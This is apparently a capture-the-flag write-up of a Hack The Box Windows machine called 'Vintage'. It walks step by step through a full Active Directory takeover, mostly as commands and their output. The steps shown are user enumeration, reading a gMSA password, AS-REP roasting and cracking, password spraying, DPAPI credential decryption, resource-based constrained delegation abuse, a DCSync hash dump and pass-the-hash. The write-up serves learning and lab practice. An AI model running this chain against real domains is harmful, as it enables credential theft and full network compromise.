# Vintage (Hard)

In 
Published 2025-04-26

# Synopsis

Vintage is a hard difficulty Windows machine designed around an assumed breach scenario, where the attacker is provided with low-privileged user credentials. The machine features an Active Directory environment without ADCS installed, and NTLM authentication is disabled. There is a 'Pre-Created computer account', meaning the password is the same as the sAMAccountName of the machine account. The 'Domain Computer' organisational unit (OU) has a configuration allowing attackers to read the service account password, which has gMSA configured. After obtaining the password, the service account can add itself to a privileged group. The group has complete control over a disabled user. The attacker is supposed to restore the disabled user and set a Service Principal Name (SPN) to perform Kerberoasting. After recovering the password, the user account has reused the same password. The newly compromised user has a password stored in the Credential Manager. The user can add itself to another privileged group configured for Resource-Based Constrained Delegation (RBCD) on the Domain Controller, allowing the attacker to compromise it.

# Reconnaissance

For this machine we are given some initial credentials to authenticate (P.Rosa:Rosaisbest123) and the initial nmap scan already shows we are dealing with a Domain Controller.

$ nmap -v 10.10.11.45 -oN vintage.nmap
Nmap scan report for 10.10.11.45
Host is up (0.016s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
49674/tcp open  unknown
49685/tcp open  unknown
64230/tcp open  unknown

We start by checking our connection with NetExec.

$ nxc smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'
SMB         10.10.11.45     445    10.10.11.45      [*]  x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB         10.10.11.45     445    10.10.11.45      [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED

We get back the error STATUS_NOT_SUPPORTED. We can verify if Rosa is a valid user by running Kerbrute. I just made a small wordlist that included Rosa along with some default accounts.

$ kerbrute userenum -d vintage.htb --dc 10.10.11.45 users.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/31/24 - Ronnie Flathers @ropnop

2024/12/31 10:26:02 >  Using KDC(s):
2024/12/31 10:26:02 >   10.10.11.45:88

2024/12/31 10:26:02 >  [+] VALID USERNAME:       Administrator@vintage.htb
2024/12/31 10:26:02 >  [+] VALID USERNAME:       P.Rosa@vintage.htb
2024/12/31 10:26:02 >  Done! Tested 3 usernames (2 valid) in 0.025 seconds

We see that Rosa is indeed a valid user, so there is something odd going on here. Something else thats worth a try is doing further enumeration over LDAP. Using ldapsearch, we can try to get a list of all domain users.

$ ldapsearch -H ldap://10.10.11.45 -x -b "DC=VINTAGE,DC=HTB" -D 'vintage\p.rosa' -w 'Rosaisbest123' '(objectClass=User)' "sAMAccountName" | grep sAMAccountName | cut -d ' ' -f 2

Administrator
Guest
DC01$
krbtgt
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm

# Kerberos Authentication

After using some common queries over ldap, I decided to retry using NetExec with the -k flag which uses Kerberos as authentication protocol instead of NTLM (default). When dealing with Kerberos, you generally don't want to use IP addresses and use hostnames instead.

$ nxc smb dc01.vintage.htb -u P.Rosa -p Rosaisbest123 -k --shares
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\P.Rosa:Rosaisbest123
SMB         dc01.vintage.htb 445    dc01             [*] Enumerated shares
SMB         dc01.vintage.htb 445    dc01             Share           Permissions     Remark
SMB         dc01.vintage.htb 445    dc01             -----           -----------     ------
SMB         dc01.vintage.htb 445    dc01             ADMIN$                          Remote Admin
SMB         dc01.vintage.htb 445    dc01             C$                              Default share
SMB         dc01.vintage.htb 445    dc01             IPC$            READ            Remote IPC
SMB         dc01.vintage.htb 445    dc01             NETLOGON        READ            Logon server share
SMB         dc01.vintage.htb 445    dc01             SYSVOL          READ            Logon server share

The output looks better. The reason for the STATUS_NOT_SUPPORTED error is that NTLM authentication is disabled on the domain. Luckily NetExec can easily authenticate over Kerberos. I performed a Kerberoasting attack and found 3 machine hashes and one service account hash.

$ GetUserSPNs.py vintage.htb/p.rosa -usersfile users.txt -outputfile kerberoast.hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:Rosaisbest123
<SNIP>

$ hashcat -m 13100 kerberoast.hashes $ROCKYOU

Cracking those hashes with a standard rockyou.txt wordlist does not work. Then I proceeded to run BloodHound.

$ nxc ldap dc01.vintage.htb -u P.Rosa -p Rosaisbest123 -k --bloodhound --dns-server 10.10.11.45 -c All
LDAP        dc01.vintage.htb 389    DC01             [*] None (name:DC01) (domain:vintage.htb)
LDAP        dc01.vintage.htb 389    DC01             [+] vintage.htb\P.Rosa:Rosaisbest123
LDAP        dc01.vintage.htb 389    DC01             Resolved collection methods: group, localadmin, session, trusts
LDAP        dc01.vintage.htb 389    DC01             Using kerberos auth without ccache, getting TGT
LDAP        dc01.vintage.htb 389    DC01             Done in 00M 04S
LDAP        dc01.vintage.htb 389    DC01             Compressing output into /home/s3rp3nt/.nxc/logs/DC01_dc01.vintage.htb_2024-12-31_113029_bloodhound.zip

# Foothold

The first thing I found was that the computer account FS01$ belongs to the PRE-WINDOWS 2000 group.

# Pre-Created Computer

When a new computer account of this type is configured, its password is set based on its name (i.e. lowercase computer name). Let's verify if we can get a TGT by using the standard password for this computer account.

$ getTGT.py vintage.htb/FS01$ -dc-ip 10.10.11.45

Password:fs01
[*] Saving ticket in FS01$.ccache

We managed to save the machine's TGT meaning this is indeed a valid password. Looking at the results from BloodHound again, this account can read the password for the GMSA GMSA01$. And the latter can also add itself it the SERVICEMANAGERS group.

# ReadGMSAPassword Abuse

There are several methods we can use to read this password, but the easiest method is to use BloodyAD. Again we need to do our authentication over Kerberos by using the TGT of FS01$.

$ bloodyAD -k ccache=FS01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==

# GenericWrite Abuse

We got the NTLM hash and the Base64 encoded password. We again retreive the TGT of the GMSA account and add ourself to the SERVICEMANAGERS group.

$ getTGT.py vintage.htb/GMSA01$ -dc-ip 10.10.11.45 -hashes ':a317f224b45046c1446372c4dc06ae53'

[*] Saving ticket in GMSA01$.ccache

$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 add groupMember SERVICEMANAGERS GMSA01$
[+] GMSA01$ added to SERVICEMANAGERS

Let's see what control this group has over other accounts.

My initial thought was to create shadow credentials for the accounts that we have control over, but the domain does not support PKINIT. Since we have full control over all these service accounts, another thing we can do is a targeted ASREPRoasting attack in order to crack the hashes. This can be done in BloodyAD by setting the DONT_REQ_PREAUTH flag.

$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 add uac SVC_ARK -f DONT_REQ_PREAUTH
$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 add uac SVC_LDAP -f DONT_REQ_PREAUTH
$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 add uac SVC_SQL -f DONT_REQ_PREAUTH

When we now perform an ASREPRoast, we should get the hashes of all three accounts.

$ GetNPUsers.py vintage.htb/p.rosa -usersfile users.txt -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User DC01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User gMSA01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User FS01$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User M.Rossi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User R.Verdi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User G.Viola doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User C.Neri doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User P.Rosa doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc_ldap@VINTAGE.HTB:34d78bfb83fd05ac07402163aae9fe3d$775d80923f67ec2ef0741fd18b3f0758764ebdad0711f800179c844ce64d117149874db4664b3a5fdb240ccd95192eea142b2c4b280a27d6ad7d80d56b4fda66a778bba9aef8a70415405500961cbef51af9bec5ffcecc9477a963dd2b2300f378beccf6dafd94a871ad44ad0eb076fa52148946da11d509196644732a678a17e8a32b4da648db22dd19e28a6ea4febd1aaf9a5830b5bb421b24be806a2d44b76a9bf7161239f080a5532cecab6f209019ea1e17fd425cd18b4cd4a7cf6c0d9a8a0d1b5423375f50a158fbd686e3e39f319528d5e939b96979b656b64820ac6354efd8766f944f09dd47
$krb5asrep$23$svc_ark@VINTAGE.HTB:9bcb4e2a1c6d1d742b1216a337217c76$401ee49a4ba4684ffe2a44fa2f3bf1c2a990be777ca62b84e3bb24d7a682480dcf8b58163c3d7d1a49b9c17851e858f5a3a5b668f3f338702bdd214b4ef42c383f487b3d53ac84e7921af216919ac1272aa1a6aa2a29521a9909dc77c863cb12c3b4795bc681b498fd503ff05311240323229aaee57fb290577d1fa16eb1f20b98a7532ceabe33ae8e305a12ba4c26a9dee9398a99615bb4fef58295b05167ee4233220a828a051796b65514643e66cf962792a5de6c960af20f604a036d8e8babc40db0ff91f60d530efe17b2ba5b19ada9f0db426fef63e28c2684bb949cb1d6ed98c572c7b1b80569
[-] User C.Neri_adm doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User L.Bianchi_adm doesn't have UF_DONT_REQUIRE_PREAUTH set

We only get two hashes and see that the svc_sql account responds with a KDC_ERR_CLIENT_REVOKED error, meaning that this account is not activated. We can verify if the account is indeed disabled.

$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 get search --filter "(objectClass=user)" --attr userAccountControl | grep svc_sql -A 1

distinguishedName: CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD; DONT_REQ_PREAUTH

# Restore Disabled Account

With our GenericAll rights, we can enable the account in order to get the hash.

$ bloodyAD -k ccache=GMSA01$.ccache --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

$ GetNPUsers.py vintage.htb/p.rosa -usersfile svc_accounts.txt -request -outputfile services.hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password: Rosaisbest123
$krb5asrep$23$svc_sql@VINTAGE.HTB:dc8a1a43c87f7cc2ecbb5257297c5e94$3cc8690b1ed9d58499e1ea15cd221df403ca8e996958bf07dde2c4b908b49e88ccccff7499e425fc18adb571ac27ade37e7689b24c17098b0fad4c1f06d58cc716a163d8c6fd5239b5d038664b3678c15e0618f764773d7a015175276189704ffa0705f7d9e2f1fcb9e9bdc4a150fcb177fab3362fcd056d5bd1f4dfd746c9d5f86edaa80b9d00e5642c1503ee75d0f92675416005c65804cec1d5019eacaf3f729f64b65fe78a24bce11ce15a29ff1d59c266893f9579d72f56de8db8c161696ea4a6b752e2c78ed019a683c3a5bacaa4188a35a122c74d1d953b61fbf89c82b51f020b16c5b58f1075
$krb5asrep$23$svc_ldap@VINTAGE.HTB:e6c79b7a07a29f9ac1b01304a6284b5c$909ef9d4c18e333496894114a6352be17a069b22150553135ad947f8a53e62b4d8d821e1445c2732d6d7cba63f3b5b7ea41af01fc2ec90e6629aa495ac928e10b728e6ed38aab07c619a4ba0138ee51b1bfbf81ebaa5c9714666a15cccb2d9395875e17aa5dc0e989d35e4bbe7aa715eb322bc0f547a8fddfe8fa67f3f1e067b8c0d7b7f61bc5d61c3d9c394f4f56becaf11c45e8e055a4f7faca72951e53b5bb3fd64cb59e7ad7bad8b2381a45c7d6c6202c6990ac6dcd751698ee0537eeb433828980c2c7ed8323e2354992f311d0cedecb6810c10024b6d28190c64ee29b1676c3cd10f2dc4f98af6
$krb5asrep$23$svc_ark@VINTAGE.HTB:b49fd1927a448d0d5e4f881ddce0bff4$c4d6bc491d09cb254a9f77c8e2f5ddc3a3b026e7de873b673b33e74c1cc7c7abbb39003f42c19cd3aa3b89a4184c696c3efc4386a37c832a59005da2eab5fcccef22de555e6407f1389b576503757debacad0bebfeac149ee90628e05a8ce410bac307565474156df4ca521e7d0d29a8e5d4f1e0cf4ade79a36597ecffab8c586b4a9e4a10831d595bcd61fb5068efe832ce5b836bd46ba56f495ea5150e73aa117212ab218de0c2f17083b02c48d627d67ad8a1e537eeba72dcf7f984fe762f86d7ca702f6d22e3caf27cfdab1f7498c28e3664311f482129eb6bf2a14a8c94ba185eeb5529b178dadf

$ hashcat services.hashes -m 18200 $ROCKYOU

# User

We are only able to crack the password for svc_sql which is Zer0the0ne.

# Password Spraying

Well we got a password but the account is not of much use, so lets do some password spraying.

$ nxc smb dc01.vintage.htb -u users.txt -p Zer0the0ne -k --continue-on-success
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\Administrator:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\Guest:Zer0the0ne KDC_ERR_CLIENT_REVOKED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\DC01$:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\krbtgt:Zer0the0ne KDC_ERR_CLIENT_REVOKED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\gMSA01$:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\FS01$:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\C.Neri:Zer0the0ne
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\svc_sql:Zer0the0ne
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\svc_ldap account vulnerable to asreproast attack
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\svc_ark account vulnerable to asreproast attack
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
SMB         dc01.vintage.htb 445    dc01             [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED

The password is also valid for the user C.Neri. This user is also part of the Remote Management Users group so this will be our initial access.

$ getTGT.py vintage.htb/C.Neri -dc-ip 10.10.11.45

Password:Zer0the0ne
[*] Saving ticket in C.Neri.ccache

$ export KRB5CCNAME=C.Neri.ccache
$ evil-winrm -i dc01.vintage.htb -r vintage.htb

Info: Establishing connection to remote endpoint
Cannot find KDC for realm "VINTAGE.HTB"

Error: Exiting with code 1

# WinRM with Kerberos

When we attempt to connect via WinRM, we got an error that the KDC cannot be found. To fix this we need to edit our /etc/krb5.conf file as follows:

$ cat /etc/krb5.conf
[libdefault]
        default_realm = VINTAGE.HTB

[realms]
        VINTAGE.HTB = {
                kdc = dc01.vintage.htb
                admin_server = dc01.vintage.htb
        }

[domain_realm]
        vintage.htb = VINTAGE.HTB
        .vintage.htb = VINTAGE.HTB

We can now login with Evil-WinRM and get the user flag.

$ evil-winrm -i dc01.vintage.htb -r vintage.htb

*Evil-WinRM* PS C:\Users\C.Neri\Documents> cat ../Desktop/user.txt
39047a49c3aba32d093084d6f0bcb4ea

# Root

# DPAPI Credential Extraction

We can look for any stored credentials and try to extract them. The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password. They are usually located at C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID. Lets have a look if our user has any credentials stored.

*Evil-WinRM* PS C:\Users\C.Neri> gci -force AppData\Roaming\Microsoft\Credentials

Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   5:08 PM            430 C4BB96844A5C9DD45D5B6A9859252BA6

*Evil-WinRM* PS C:\Users\C.Neri> gci -force AppData\Roaming\Microsoft\Protect

Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-          6/7/2024   1:17 PM                S-1-5-21-4024337825-2033394866-2055507597-1115
-a-hs-          6/7/2024   1:17 PM             24 CREDHIST
-a-hs-          6/7/2024   1:17 PM             76 SYNCHIST

*Evil-WinRM* PS C:\Users\C.Neri> gci -force AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115

Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          6/7/2024   1:17 PM            740 4dbf04d8-529b-4b4c-b4ae-8e875e4fe847
-a-hs-          6/7/2024   1:17 PM            740 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
-a-hs-          6/7/2024   1:17 PM            904 BK-VINTAGE
-a-hs-          6/7/2024   1:17 PM             24 Preferred

We can download the credential file and masterkey to our local machine and use dpapi.py to extract them.

$ dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a

$ dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000001 (CRED_TYPE_GENERIC)
Target      : LegacyGeneric:target=admin_acc
Description :
Unknown     :
Username    : vintage\c.neri_adm
Unknown     : Uncr4ck4bl3P4ssW0rd0312 

We found a password for the user c.neri_adm.

# RBCD Attack

This user is part of the DELEGATEDADMINS group. Members of this group have the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the computer DC01.VINTAGE.HTB. We can use these privileges to execute a modified S4U2self/S4U2proxy abuse chain to impersonate any domain user to the target computer system and receive a valid service ticket "as" this user. However, in order to perform the attack we need to have access to an account with an SPN set.

The trick here is that the user c.neri_adm has GenericWrite over the DELEGATEADMINS group and from earlier we have full control over the service account svc_sql. Therefore we can add this account to the DELEGATEADMINS group and add a fake SPN to the account. By doing this we have all the requirements for a constrained delegation attack. Lets add the svc_sql user to the group, change the SPN and get their TGT.

$ bloodyAD --host dc01.vintage.htb --dc-ip 10.10.11.45 -d "VINTAGE.HTB" -u c.neri_adm -p 'Uncr4ck4bl3P4ssW0rd0312' -k add groupMember "DELEGATEDADMINS" "SVC_SQL"
[+] SVC_SQL added to DELEGATEDADMINS

$ export KRB5CCNAME=C.Neri.ccache
$ bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k set object "SVC_SQL" servicePrincipalName  -v "cifs/bleed" 
[+] SVC_SQL's servicePrincipalName has been updated

$ getTGT.py vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb

In BloodHound the permissions will now look as follows:

With the TGT of svc_sql we can now perform a S4U2Self attack in order to impersonate L.BIANCHI_ADM since this user has complete control over the domain.

$ export KRB5CCNAME=svc_sql.ccache
$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'  
[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache

# DCSync

Now we can perform a DCSync attack and grab the root flag.

$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
$ secretsdump.py -k dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb632ebd8c7df30094b6cea89cdf372be
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e41bb21e027286b2e6fd41de81bce8db:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
<SNIP>

$ wmiexec.py -k -no-pass vintage.htb/L.BIANCHI_ADM@dc01.vintage.htb -hashes :e41bb21e027286b2e6fd41de81bce8db
C:\> type C:\Users\Administrator\Desktop\root.txt